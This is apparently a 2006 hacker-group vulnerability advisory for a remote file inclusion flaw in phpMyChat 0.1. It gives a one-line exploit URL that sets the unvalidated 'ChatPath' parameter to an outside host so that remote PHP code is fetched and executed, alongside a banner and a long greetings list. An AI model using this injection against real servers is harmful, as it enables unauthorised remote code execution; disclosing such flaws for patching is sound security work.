|
#############################SolpotCrew Community################################=0D
#=0D
# phpMyChat 0.1 (ChatPath) Remote File Inclusion =0D
#=0D
# vendor : http://www.phpheaven.net/phpmychat:home=0D
#=0D
#################################################################################=0D
#=0D
#=0D
# Bug Found By :Solpot a.k.a (k. Hasibuan) (26-09-2006)=0D
#=0D
# contact: chris_hasibuan@yahoo.com =0D
# =0D
# Website : http://www.nyubicrew.org/adv/solpot-adv-09.txt=0D
#=0D
################################################################################=0D
#=0D
#=0D
# Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid=0D
# robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa=0D
# home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo=0D
# Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX=0D
# x-ace , Dalmet , th3sn0wbr4in , iFX , ^YoGa^ , Soey , vend3r , k1tk4t=0D
# [K]ompoR_Meledu[K] , Scr3W_W0rM , TOMMY^PENGAMEN , Belaj4r, ^NakKuta =0D
# and all member solpotcrew community @ http://nyubicrew.org/forum/=0D
# especially thx to str0ke @ milw0rm.com=0D
#=0D
###############################################################################=0D
Input passed to the "ChatPath" is not properly verified =0D
before being used to include files. This can be exploited to execute =0D
arbitrary PHP code by including files from local or external resources. =0D
=0D
code from lib/connected_users.lib.php3=0D
=0D
http://somehost/path_to_phpMyChat/lib/connected_users.lib.php3?ChatPath=http://injek-pala-lappet?=0D
=0D
##############################MY LOVE JUST FOR U RIE######################### =0D
######################################E.O.F################################## =0D
=0D
=0D
=0D